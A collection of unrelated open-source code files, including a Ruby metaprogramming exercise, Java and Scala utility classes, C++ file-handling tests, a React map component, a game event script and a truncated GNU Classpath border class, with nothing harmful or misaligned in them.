<reponame>skullbaselab/aa-afterdark class Corgus def set_left_thruster(percent) puts "setting left thruster to #{percent}%" @left_thruster = percent end def set_right_thruster(percent) puts "setting right thruster to #{percent}%" @right_thruster = percent end def fire_furry_cannons puts "fluff fluff fluff goes the furry cannons" end def fire_drool_cannons puts "slobber slobber slobber goes the drool cannons" end def cargo @cargo ||= {} end def store_in_starboard_bay(stuff) cargo[:starboard] = stuff end def store_in_port_bay(stuff) cargo[:port] = stuff end def unload_cargo loot = cargo.values @cargo = {} loot end end class SpaceBase def self.attach_thrusters(*types) types.each do |type| define_method "set_#{type}_thruster" do |percent = 42| puts "setting #{type} thruster to #{percent}%" instance_variable_set("@#{type}_thruster", percent) end end end end module Cargoable def mount_bays(*types) types.each do |type| define_method "store_in_#{type}_bay" do |stuff| cargo[type] = stuff end end define_method :cargo do @cargo ||= {} end define_method :unload_cargo do loot = cargo.values @cargo = {} loot end end end module Shootable def install_cannon(type, sound) define_method "fire_#{type}_cannon" do puts "#{sound} #{sound} #{sound} goes the #{type} cannon" end end end module Luxury def enable_wifi @wifi = true end end class SpaceFighter < SpaceBase extend Shootable end class SpaceCargo < SpaceBase extend Cargoable include Luxury end class CorgusFighter < SpaceFighter install_cannon :drool, :slobber install_cannon :fluffy, :fluff attach_thrusters :left, :right, :tail end class CorgusCargo < SpaceCargo attach_thrusters :left, :right, :tail mount_bays :prt end
ShubhmAsati/auth0-hackathon
backend/job.portal/src/main/java/com/auth0/job/portal/converter/OTPRequestConverter.java
package com.auth0.job.portal.converter; import com.auth0.job.portal.model.OTPDto; import com.auth0.job.portal.model.request.VerifyOTPRequest; import java.util.UUID; public class OTPRequestConverter { private OTPRequestConverter() { } public static OTPDto toDto(VerifyOTPRequest verifyOTPRequest) { return OTPDto.builder() .userId(UUID.fromString(verifyOTPRequest.getUserId())) .otp(Integer.valueOf(verifyOTPRequest.getOtp())) .build(); } }
mmienko/aws-cdk-scala
modules/iam/src/main/scala/io/burkard/cdk/services/iam/UnknownPrincipal.scala
<filename>modules/iam/src/main/scala/io/burkard/cdk/services/iam/UnknownPrincipal.scala package io.burkard.cdk.services.iam @SuppressWarnings(Array("org.wartremover.warts.DefaultArguments", "org.wartremover.warts.Null", "DisableSyntax.null")) object UnknownPrincipal { def apply( resource: software.constructs.IConstruct ): software.amazon.awscdk.services.iam.UnknownPrincipal = software.amazon.awscdk.services.iam.UnknownPrincipal.Builder .create() .resource(resource) .build() }
the-nerbs/HexEdit
Tests/CFile64Tests.cpp
<gh_stars>0 #include "Stdafx.h" #include "utils/Garbage.h" #include "utils/TestFiles.h" #include "CFile64.h" #include <catch.hpp> #include <cstdint> TEST_CASE("CFile64::CFile64()") { CFile64 file; garbage_fill_and_construct<CFile64>(file); SECTION("CFile64 query functions") { CHECK(file.GetHandle() == INVALID_HANDLE_VALUE); CHECK(file.GetLength() == 0); CHECK(file.Duplicate() == nullptr); CHECK(file.GetFileName() == CString{ "" }); CHECK(file.GetFilePath() == CString{ "" }); CHECK(file.GetFileTitle() == CString{ "" }); BY_HANDLE_FILE_INFORMATION info; CHECK(file.GetInformation(info) == FALSE); CHECK(file.SectorSize() == 0); CHECK(file.GetPosition() == -1); CHECK(file.GetSecurityAttributes() != nullptr); CHECK(file.GetSecurityDescriptor() != nullptr); CFileStatus status; CHECK(file.GetStatus(status) == FALSE); } SECTION("CFile64 read functions") { std::uint8_t buffer[16]; CHECK(file.Read(buffer, sizeof(buffer)) == 0); CByteArray buffer2{}; CHECK(file.Read(buffer2, 16) == 0); } SECTION("CFile64 seek functions") { CHECK(file.Seek(16, CFile64::begin) == -1); // expect that position is unchanged CHECK(file.GetPosition() == -1); file.SeekToBegin(); // expect that position is unchanged CHECK(file.GetPosition() == -1); file.SeekToEnd(); // expect that position is unchanged CHECK(file.GetPosition() == -1); } SECTION("CFile64 setters") { CHECK(file.SetEndOfFile(16) == FALSE); CHECK_NOTHROW([&]() { try { file.SetLength(16); FAIL("Expected CFileException"); } catch (CFileException* ex) { // expected ex->Delete(); } catch (CException* ex) { ex->Delete(); FAIL("Expected CFileException"); } }); // note: SetFilePath _is not_ the setter for the value that GetFilePath returns! const CString testPath = _T("TEST TEST"); file.SetFilePath(testPath); CHECK(file.GetFileName() == testPath); } } TEST_CASE("CFile64::CFile64(filename, open_flags)") { CFile64 file; CString fname; CString path = TestFiles::Get256FilePath(&fname); CString fullpath; ::GetFullPathName(path, MAX_PATH + 1, fullpath.GetBuffer(MAX_PATH + 1), NULL); fullpath.ReleaseBuffer(); garbage_fill_and_construct<CFile64>(file, path, (UINT)CFile64::modeRead); SECTION("CFile64 query functions") { CHECK(file.GetHandle() != INVALID_HANDLE_VALUE); CHECK(static_cast<HFILE>(file) != (HFILE)INVALID_HANDLE_VALUE); CHECK(file.GetLength() == 256); { CFile64* dup = file.Duplicate(); CHECK(dup != nullptr); delete dup; } CHECK(file.GetFileName() == fname); CHECK(file.GetFilePath() == fullpath); CHECK(file.GetFileTitle() == fname); BY_HANDLE_FILE_INFORMATION info; CHECK(file.GetInformation(info) == TRUE); // most info values are provided by the OS with no good linkage // to values we can test against, so just test the file size. CHECK(info.nFileSizeHigh == 0); CHECK(info.nFileSizeLow == 256); CHECK(file.SectorSize() != 0); CHECK(file.GetPosition() == 0); CHECK(file.GetSecurityAttributes() != nullptr); CHECK(file.GetSecurityDescriptor() != nullptr); CFileStatus status; CHECK(file.GetStatus(status) == TRUE); // same as GetInformation... CHECK(status.m_size == 256); CHECK(CString{ status.m_szFullName } == path); } SECTION("CFile64 read functions") { std::uint8_t buffer[16]; CHECK(file.Read(buffer, sizeof(buffer)) == 16); for (int i = 0; i < 16; i++) { CHECK(buffer[i] == i); } CByteArray buffer2{}; CHECK(file.Read(buffer2, 16) == 16); for (int i = 0; i < 16; i++) { CHECK(buffer2[i] == i + 16); } } SECTION("CFile64 seek functions") { CHECK(file.Seek(16, CFile64::begin) == 16); CHECK(file.GetPosition() == 16); file.SeekToBegin(); CHECK(file.GetPosition() == 0); file.SeekToEnd(); CHECK(file.GetPosition() == 256); } SECTION("CFile64 setters") { CHECK(file.SetEndOfFile(16) == FALSE); CHECK_NOTHROW([&]() { try { file.SetLength(16); FAIL("Expected CFileException"); } catch (CFileException* ex) { // expected ex->Delete(); } catch (CException* ex) { ex->Delete(); FAIL("Expected CFileException"); } }); // note: SetFilePath _is not_ the setter for the value that GetFilePath returns! const CString testPath = _T("TEST TEST"); file.SetFilePath(testPath); CHECK(file.GetFileName() == testPath); } } TEST_CASE("CFile64 Open") { CString fname; CString path = TestFiles::Get256FilePath(&fname); CString fullpath; ::GetFullPathName(path, MAX_PATH + 1, fullpath.GetBuffer(MAX_PATH + 1), NULL); fullpath.ReleaseBuffer(); CFile64 file; REQUIRE(file.Open(path, CFile64::modeRead) == TRUE); CHECK(file.GetPosition() == 0); CHECK(file.GetLength() == 256); } TEST_CASE("CFile64 Write") { CFile64 file{ TestFiles::GetMutableFilePath(), CFile64::modeReadWrite }; file.SetLength(0); file.Write("123456789", 9); file.Flush(); REQUIRE(file.GetLength() == 9); file.SeekToBegin(); uint8_t buffer[9]; REQUIRE(file.Read(buffer, 9) == 9); for (int i = 0; i < 9; i++) { CHECK(buffer[i] == '1' + i); } } TEST_CASE("CFile64::SetLength") { CFile64 file{ TestFiles::GetMutableFilePath(), CFile64::modeReadWrite }; file.SetLength(256); REQUIRE(file.GetLength() == 256); file.SetLength(0); REQUIRE(file.GetLength() == 0); }
chenzhengda/tensorflow
tensorflow/compiler/plugin/poplar/driver/tools/offloading_util.h
<reponame>chenzhengda/tensorflow /* Copyright 2020 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #ifndef TENSORFLOW_COMPILER_PLUGIN_POPLAR_DRIVER_TOOLS_OFFLOADING_UTIL_H_ #define TENSORFLOW_COMPILER_PLUGIN_POPLAR_DRIVER_TOOLS_OFFLOADING_UTIL_H_ #include <string> #include "tensorflow/compiler/xla/shape.h" #include "tensorflow/compiler/xla/statusor.h" #include "tensorflow/compiler/xla/types.h" #include "tensorflow/core/lib/core/status.h" namespace xla { class HloDataflowAnalysis; class HloInstruction; namespace poplarplugin { std::string GetReplicatedParameterLoadFusionName(); std::string GetReplicatedParameterStoreFusionName(); const Shape GetReplicatedParameterLoadFusionAllGatherShape( const HloInstruction*); bool IsReplicatedParameterLoadFusion(const HloInstruction*); bool IsReplicatedParameterStoreFusion(const HloInstruction*); bool IsReplicatedParameterLoad(const HloInstruction*); bool IsReplicatedParameterStore(const HloInstruction*); // Given an instruction, get its load and store users. Status GetRemoteLoadStoreUsers(HloInstruction* inst, HloInstruction** load, HloInstruction** store); int64 PartitionedElementCountPerReplica(int64 element_count, int64 partition_replication_factor); std::size_t PartitionedByteCountPerReplica(std::size_t byte_count, PrimitiveType element_type, int64 partition_replication_factor); StatusOr<int64> GetRemoteBufferEntryParameterNumber(const HloInstruction* inst); StatusOr<int64> GetRemoteBufferEntryParameterNumber( const HloDataflowAnalysis& dfa, const HloInstruction* inst); } // namespace poplarplugin } // namespace xla #endif // TENSORFLOW_COMPILER_PLUGIN_POPLAR_DRIVER_TOOLS_OFFLOADING_UTIL_H_
MehfoozurRehman/aidapro
src/Screens/DashboardGoogleMap.js
import React, { useState } from "react"; import { GoogleMap, Autocomplete, LoadScript } from "@react-google-maps/api"; import MapMarker from "Components/MapMarker"; import { LoadingMask } from "./LoadingMask"; export const DashboardGoogleMap = ({ jobSeekers, style }) => { const [autocomplete, setAutocomplete] = useState(); const [map, setMap] = useState(); const [zoom, setZoom] = useState(8); const [center, setCenter] = useState({ lat: 33.596041, lng: 73.005094 }); const [isLoading, setIsLoading] = useState(false); const onAutocompleteLoad = (autocomplete) => { setAutocomplete(autocomplete); }; const onPlaceChanged = () => { setIsLoading(true); if (autocomplete !== null || autocomplete !== undefined) { setTimeout(() => { let place = autocomplete.getPlace(); if (place.geometry) { let lat = place.geometry.location.lat(); let lng = place.geometry.location.lng(); setCenter({ lat: lat, lng: lng }); setZoom(12); setIsLoading(false); } else { setIsLoading(false); } }, 1000); } else { setIsLoading(false); console.log("Autocomplete is not loaded yet!"); } }; const handleMapOnLoad = (map) => { setMap(map); }; let jobSeeker = [ { Id: 1, position: { lat: 33.6844202, lng: 73.04788479999999 }, jobTitle: "Nodejs", Location: "Islamabad", }, { Id: 2, position: { lat: 33.5651107, lng: 73.0169135 }, jobTitle: "React js", Location: "Rawalpindi", }, { Id: 3, position: { lat: 33.7715411, lng: 72.7510921 }, jobTitle: "Angular", Location: "Wah Cant", }, { Id: 4, position: { lat: 33.7462826, lng: 72.8397317 }, jobTitle: "Asp.net", Location: "Taxila", }, ]; const libraries = ["drawing", "places"]; return ( <> {isLoading && <LoadingMask />} <LoadScript id="google-map-script-loader" googleMapsApiKey="<KEY>" libraries={libraries} > <div style={{ width: "100%", padding: "25px 18px 25px 18px", }} > <GoogleMap mapContainerStyle={{ height: "350px", width: "100%", borderRadius: "20px", ...style, }} center={center} zoom={zoom} onLoad={handleMapOnLoad} options={{ disableDefaultUI: true, }} > {jobSeeker && jobSeeker.map((e) => <MapMarker key={e.Id} data={e} />)} <Autocomplete onLoad={onAutocompleteLoad} onPlaceChanged={onPlaceChanged} > <input type="text" placeholder="Search Nearby..." style={{ boxSizing: `border-box`, border: `1px solid transparent`, width: `350px`, height: `35px`, padding: `5px 12px`, borderRadius: `3px`, boxShadow: `0 2px 6px rgba(0, 0, 0, 0.3)`, fontSize: `14px`, outline: `none`, textOverflow: `ellipses`, position: "absolute", left: "35%", backgroundColor: "#f3f3f3 ", top: "2px", }} /> </Autocomplete> </GoogleMap> </div> </LoadScript> </> ); };
hawkwithwind/bintools
src/main/java/com/wxipad/wechat/tools/extend/PinYin.java
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package com.wxipad.wechat.tools.extend; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.Iterator; import java.util.logging.Level; import java.util.logging.Logger; import java.util.regex.Matcher; import java.util.regex.Pattern; public class PinYin { private static final ArrayList<Char> data = new ArrayList(); public PinYin() { } public static boolean load() { try { InputStream in = PinYin.class.getResourceAsStream("PinYin.txt"); if (in == null) { return false; } else { BufferedReader reader = new BufferedReader(new InputStreamReader(in, "UTF-8")); Pattern pattern = Pattern.compile("([a-z]*)(\\s*)([1-5])(\\s*)(.)(\\s*)"); data.clear(); String line; while ((line = reader.readLine()) != null) { if (!"".equals(line.trim())) { Matcher matcher = pattern.matcher(line); boolean matches = matcher.matches(); if (matches) { char chinese = matcher.group(5).toCharArray()[0]; String spell = matcher.group(1); byte tone = Byte.parseByte(matcher.group(3)); data.add(new Char(chinese, spell, tone)); } } } reader.close(); return true; } } catch (Exception var9) { Logger.getLogger(PinYin.class.getName()).log(Level.SEVERE, (String) null, var9); return false; } } public static ArrayList<Char> getData() { if (data.isEmpty()) { return load() ? data : null; } else { return data; } } public static ArrayList<String> getStrFirst(String text) { ArrayList<String> pinyin = new ArrayList(); pinyin.add(""); for (int i = 0; i < text.length(); ++i) { pinyin = addCharFirst(pinyin, text.charAt(i)); } return pinyin; } private static ArrayList<String> addCharFirst(ArrayList<String> oldPinyin, char ch) { ArrayList<String> newPinyin = new ArrayList(); ArrayList<String> chPinyin = getCharPinyin(ch); if (chPinyin.isEmpty()) { return oldPinyin; } else { Iterator var4 = oldPinyin.iterator(); while (var4.hasNext()) { String prefix = (String) var4.next(); Iterator var6 = chPinyin.iterator(); while (var6.hasNext()) { String suffix = (String) var6.next(); String str = prefix + suffix; if (!newPinyin.contains(str)) { newPinyin.add(str); } } } return newPinyin; } } private static ArrayList<String> getCharPinyin(char ch) { ArrayList<String> pinyin = new ArrayList(); Iterator var2 = getData().iterator(); while (var2.hasNext()) { Char charObj = (Char) var2.next(); if (charObj.chinese == ch && charObj.spell != null && charObj.spell.length() > 0) { pinyin.add(charObj.spell.toUpperCase().substring(0, 1)); } } return pinyin; } public static final class Char { public char chinese; public String spell; public byte tone; public Char(char chinese, String spell, byte tone) { this.chinese = chinese; this.spell = spell; this.tone = tone; } } }
przodownikR1/springJpaKata
src/main/java/pl/java/scalatech/domain/keys/Travel.java
<gh_stars>1-10 package pl.java.scalatech.domain.keys; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.TableGenerator; import lombok.Data; @Entity @Data @TableGenerator(name="TRAVEL_GENERATOR",table="GENERATED_KEYS",pkColumnName="PK_COLUMN",valueColumnName="VALUE_COLUMN", pkColumnValue="TRAVEL_ID",allocationSize=10) public class Travel { @Id @GeneratedValue(strategy = GenerationType.AUTO, generator="TRAVEL_GENERATOR") private int id; @Column private String name; }
tqrg-bot/jenkins
core/src/main/java/hudson/views/ListViewColumn.java
<reponame>tqrg-bot/jenkins<filename>core/src/main/java/hudson/views/ListViewColumn.java /* * The MIT License * * Copyright (c) 2004-2009, Sun Microsystems, Inc., <NAME>, <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package hudson.views; import hudson.ExtensionPoint; import hudson.ExtensionList; import hudson.Extension; import hudson.DescriptorExtensionList; import hudson.tasks.Publisher; import hudson.tasks.UserNameResolver; import hudson.model.Describable; import hudson.model.ListView; import hudson.model.Item; import hudson.model.Hudson; import hudson.model.Descriptor; import hudson.util.DescriptorList; import org.kohsuke.stapler.export.Exported; /** * Extension point for adding a column to {@link ListView}. * * <p> * This object must have the <tt>column.jelly</tt>. This view * is called for each cell of this column. The {@link Item} object * is passed in the "job" variable. The view should render * the &lt;td> tag. * <p> * This object may have an additional <tt>columHeader.jelly</tt>. The default ColmnHeader * will render ColumnCaption. * <p> * For now, {@link ListView} doesn't allow {@link ListViewColumn}s to be configured * (instead it just shows all the columns available in {@link #all()}), * but the intention is eventually make each {@link ListViewColumn} fully configurable * like {@link Publisher}. * * @author <NAME> * @since 1.279 */ public abstract class ListViewColumn implements ExtensionPoint, Describable<ListViewColumn> { /** * Returns the name of the column that explains what this column means * * @return * The convention is to use capitalization like "Foo Bar Zot". */ @Exported public String getColumnCaption() { return getDescriptor().getDisplayName(); } /** * Returns all the registered {@link ListViewColumn} descriptors. */ public static DescriptorExtensionList<ListViewColumn, Descriptor<ListViewColumn>> all() { return Hudson.getInstance().getDescriptorList(ListViewColumn.class); } /** * All registered {@link ListViewColumn}s. * @deprecated as of 1.281 * Use {@link #all()} for read access and {@link Extension} for registration. */ public static final DescriptorList<ListViewColumn> LIST = new DescriptorList<ListViewColumn>(ListViewColumn.class); }
illuminatixs-newbms/Lidium
scripts/event/Visitor.js
function init() { } function monsterValue(eim, mobId) { return 1; } function setup(mapid) { var eim = em.newInstance("Visitor" + mapid); for (var i = 0; i < 16; i++) { var map = eim.setInstanceMap(502030000 + (parseInt(mapid) * 16) + i); map.resetFully(); if (i == 1) { //dimensional cube for (var x = 0; x < 3; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420024 + (parseInt(mapid) * 6)), new java.awt.Point(94, 0)); map.spawnMonsterOnGroundBelow(em.getMonster(9420024 + (parseInt(mapid) * 6)), new java.awt.Point(-67, -140)); map.spawnMonsterOnGroundBelow(em.getMonster(9420027 + (parseInt(mapid) * 6)), new java.awt.Point(-67, -140)); map.spawnMonsterOnGroundBelow(em.getMonster(9420027 + (parseInt(mapid) * 6)), new java.awt.Point(-287, 50)); } } else if (i == 2) { for (var x = 0; x < 3; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420029 + (parseInt(mapid) * 6)), new java.awt.Point(177, 110)); map.spawnMonsterOnGroundBelow(em.getMonster(9420029 + (parseInt(mapid) * 6)), new java.awt.Point(177, -160)); map.spawnMonsterOnGroundBelow(em.getMonster(9420029 + (parseInt(mapid) * 6)), new java.awt.Point(-237, -20)); } } else if (i == 3) { for (var x = 0; x < 3; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420025 + (parseInt(mapid) * 6)), new java.awt.Point(160, 50)); map.spawnMonsterOnGroundBelow(em.getMonster(9420026 + (parseInt(mapid) * 6)), new java.awt.Point(0, 50)); map.spawnMonsterOnGroundBelow(em.getMonster(9420028 + (parseInt(mapid) * 6)), new java.awt.Point(-160, 50)); } } else if (i == 4) { for (var x = 0; x < 6; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420042 + parseInt(mapid)), new java.awt.Point(-50, -160)); map.spawnMonsterOnGroundBelow(em.getMonster(9420045 + parseInt(mapid)), new java.awt.Point(-50, 100)); map.spawnMonsterOnGroundBelow(em.getMonster(9420048 + parseInt(mapid)), new java.awt.Point(-50, 320)); } } else if (i == 5) { //choice map.spawnReactorOnGroundBelow(em.getReactor(5029000), new java.awt.Point(-140, 70)); map.spawnReactorOnGroundBelow(em.getReactor(5029000), new java.awt.Point(0, 70)); map.spawnReactorOnGroundBelow(em.getReactor(5029000), new java.awt.Point(140, 70)); eim.setProperty("stage5", (java.lang.Math.floor(java.lang.Math.random() * 3) + 1) + ""); } else if (i == 6) { for (var x = 0; x < 6; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420051 + (parseInt(mapid))), new java.awt.Point(0, -50)); map.spawnMonsterOnGroundBelow(em.getMonster(9420051 + (parseInt(mapid))), new java.awt.Point(0, 320)); } } else if (i == 7) { for (var x = 0; x < 6; x++) { map.spawnMonsterOnGroundBelow(em.getMonster(9420054 + (parseInt(mapid))), new java.awt.Point(0, 0)); } } else if (i == 8) { //control cube: npc! map.spawnNpc(9250139, new java.awt.Point(-5, -150)); eim.setProperty("stage8", "1"); } else if (i == 9) { map.spawnMonsterOnGroundBelow(em.getMonster(9420057 + (parseInt(mapid))), new java.awt.Point(0, 0)); } else if (i == 10) { map.spawnMonsterOnGroundBelow(em.getMonster(9420060 + (parseInt(mapid))), new java.awt.Point(0, 0)); } else if (i == 11) { map.spawnMonsterOnGroundBelow(em.getMonster(9420065 + (parseInt(mapid))), new java.awt.Point(0, 0)); } } eim.setProperty("entryTimestamp", "" + java.lang.System.currentTimeMillis()); eim.setProperty("current_instance", "0"); eim.setProperty("mode", mapid); eim.startEventTimer(3600000); //60 mins lol return eim; } function playerEntry(eim, player) { var map = eim.getMapInstance(0); player.changeMap(map, map.getPortal(0)); } function playerDead(eim, player) { } function changedMap(eim, player, mapid) { if (mapid < 502030000 || mapid >= 502030100) { eim.unregisterPlayer(player); eim.disposeIfPlayerBelow(2, 502029000); } else { eim.setProperty("current_instance", "" + mapid); } } function playerRevive(eim, player) { } function playerDisconnected(eim, player) { return -2; } function leftParty(eim, player) { // If only 2 players are left, uncompletable if (!eim.disposeIfPlayerBelow(2, 502029000)) { playerExit(eim, player); } } function disbandParty(eim) { // Boot whole party and end eim.disposeIfPlayerBelow(100, 502029000); } function scheduledTimeout(eim) { clearPQ(eim); } function playerExit(eim, player) { eim.unregisterPlayer(player); eim.disposeIfPlayerBelow(2, 502029000); } function clearPQ(eim) { // KPQ does nothing special with winners eim.disposeIfPlayerBelow(100, 502029000); } function allMonstersDead(eim) { } function cancelSchedule() { }
litanwei/begincode_wenda
begincode-core/src/main/java/net/begincode/core/model/BizFrontProblem.java
package net.begincode.core.model; import net.begincode.bean.PageParam; import java.util.Date; import java.util.List; /** * Created by Stay on 2016/9/23 12:34. */ public class BizFrontProblem extends PageParam { private Problem problem; private String answerName; private Integer answerUserId; private List<String> labelNameList; private Date answerTime; public Date getAnswerTime() { return answerTime; } public void setAnswerTime(Date answerTime) { this.answerTime = answerTime; } public Problem getProblem() { return problem; } public void setProblem(Problem problem) { this.problem = problem; } public String getAnswerName() { return answerName; } public void setAnswerName(String answerName) { this.answerName = answerName; } public List<String> getLabelNameList() { return labelNameList; } public void setLabelNameList(List<String> labelNameList) { this.labelNameList = labelNameList; } public Integer getAnswerUserId() { return answerUserId; } public void setAnswerUserId(Integer answerUserId) { this.answerUserId = answerUserId; } }
cpaxton/costar_plan
costar_task_plan/python/costar_task_plan/robotics/config.py
DEFAULT_MODEL_CONFIG = { "clusters": 10, "sigma": 1e-8, "dtw": True, } DEFAULT_ROBOT_CONFIG = { 'name': 'robot', 'robot_description_param': "robot_description", 'ik_solver': 'kdl', 'base_link': "base_link", 'end_link': "ee_link", 'joint_states_topic': "/joint_states", 'gripper_topic': '', 'dof': 6, 'q0': None, 'joints': None, 'namespace': 'costar', 'robot_description_param': 'robot_description', }
r-barnes/sw_comparison
implementations/ugene/src/plugins/GUITestBase/src/runnables/ugene/ugeneui/DocumentProviderSelectorDialogFiller.cpp
<filename>implementations/ugene/src/plugins/GUITestBase/src/runnables/ugene/ugeneui/DocumentProviderSelectorDialogFiller.cpp /** * UGENE - Integrated Bioinformatics Tools. * Copyright (C) 2008-2020 UniPro <<EMAIL>> * http://ugene.net * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ #include <primitives/GTRadioButton.h> #include <primitives/GTWidget.h> #include <QApplication> #include "DocumentProviderSelectorDialogFiller.h" namespace U2 { QMap<DocumentProviderSelectorDialogFiller::OpenWith, QString> DocumentProviderSelectorDialogFiller::initMap() { QMap<DocumentProviderSelectorDialogFiller::OpenWith, QString> result; result.insert(DocumentProviderSelectorDialogFiller::AlignmentEditor, "Multiple sequence alignment in the Alignment Editor_radio"); result.insert(DocumentProviderSelectorDialogFiller::AssemblyBrowser, "Short reads assembly in the Assembly Browser_radio"); return result; } const QMap<DocumentProviderSelectorDialogFiller::OpenWith, QString> DocumentProviderSelectorDialogFiller::openWithMap = DocumentProviderSelectorDialogFiller::initMap(); #define GT_CLASS_NAME "DocumentProviderSelectorDialogFiller" #define GT_METHOD_NAME "commonScenario" void DocumentProviderSelectorDialogFiller::commonScenario() { QWidget *dialog = QApplication::activeModalWidget(); GT_CHECK(dialog, "activeModalWidget is NULL"); QRadioButton *radio = GTWidget::findExactWidget<QRadioButton *>(os, openWithMap.value(openWith), dialog); GTWidget::click(os, radio); GTUtilsDialog::clickButtonBox(os, dialog, QDialogButtonBox::Ok); } #undef GT_METHOD_NAME #undef GT_CLASS_NAME } // namespace U2
pkestene/COSMA
src/cosma/random_generator.hpp
#pragma once #include <complex> #include <random> namespace cosma { /* * generators a random int, float, double, * complex<int>, complex<float>, complex<double> */ template <typename Scalar> struct random_generator { static inline Scalar sample(); }; template <> inline int random_generator<int>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_int_distribution<int> dist(10); // distribution return dist(rng); } template <> inline double random_generator<double>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_real_distribution<double> dist(1.0); // distribution return dist(rng); } template <> inline float random_generator<float>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_real_distribution<float> dist(1.0f); // distribution return dist(rng); } template <> inline std::complex<int> random_generator<std::complex<int>>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_int_distribution<int> dist(10); // distribution return {dist(rng), dist(rng)}; } template <> inline std::complex<float> random_generator<std::complex<float>>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_real_distribution<float> dist(1.0f); // distribution return {dist(rng), dist(rng)}; } template <> inline std::complex<double> random_generator<std::complex<double>>::sample() { static std::random_device dev; // seed static std::mt19937 rng(dev()); // generator static std::uniform_real_distribution<double> dist(1.0); // distribution return {dist(rng), dist(rng)}; } } // end namespace cosma
nmldiegues/jvm-stm
classpath-0.98/javax/swing/border/LineBorder.java
/* LineBorder.java -- Copyright (C) 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. GNU Classpath is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Classpath; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Linking this library statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ package javax.swing.border; import java.awt.Color; import java.awt.Component; import java.awt.Graphics; import java.awt.Insets; /** * A border that consists of a line whose thickness and color can be * specified. There also is a variant with rounded corners. * * @author <NAME> (<EMAIL>) */ public class LineBorder extends AbstractBorder { /** * Determined using the <code>serialver</code> tool * of Apple/Sun JDK 1.3.1 on MacOS X 10.1.5. */ static final long serialVersionUID = -787563427772288970L; /** * A shared instance of a black, one pixel thick, plain LineBorder. * The singleton object is lazily created by {@link * #createBlackLineBorder()} upon its first invocation. */ private static LineBorder blackLineBorder; /** * A shared instance of a gray, one pixel thick, plain LineBorder. * The singleton object is lazily created by {@link * #createGrayLineBorder()} upon its first invocation. */ private static LineBorder grayLineBorder; /** * The width of the line in pixels. */ protected int thickness; /** * The color of the line. */ protected Color lineColor; /** * Indicates whether the line is drawn with rounded corners * (<code>true</code>) or not ((<code>false</code>). */ protected boolean roundedCorners; /** * Constructs a LineBorder given its color. The border will be one * pixel thick and have plain corners. * * @param color the color for drawing the border. * * @see #LineBorder(java.awt.Color, int, boolean) */ public LineBorder(Color color) { this(color, /* thickness */ 1, /* roundedCorners */ false); } /** * Constructs a LineBorder given its color and thickness. The * border will have plain corners. * * @param color the color for drawing the border. * @param thickness the width of the line in pixels. * * @see #LineBorder(java.awt.Color, int, boolean) */ public LineBorder(Color color, int thickness) { this (color, thickness, /* roundedCorners */ false); } /** * Constructs a LineBorder given its color, thickness, and whether * it has rounded corners. * * <p><img src="doc-files/LineBorder-1.png" width="500" height="200" * alt="[An illustration of two LineBorders]" /> * * <p>Note that the 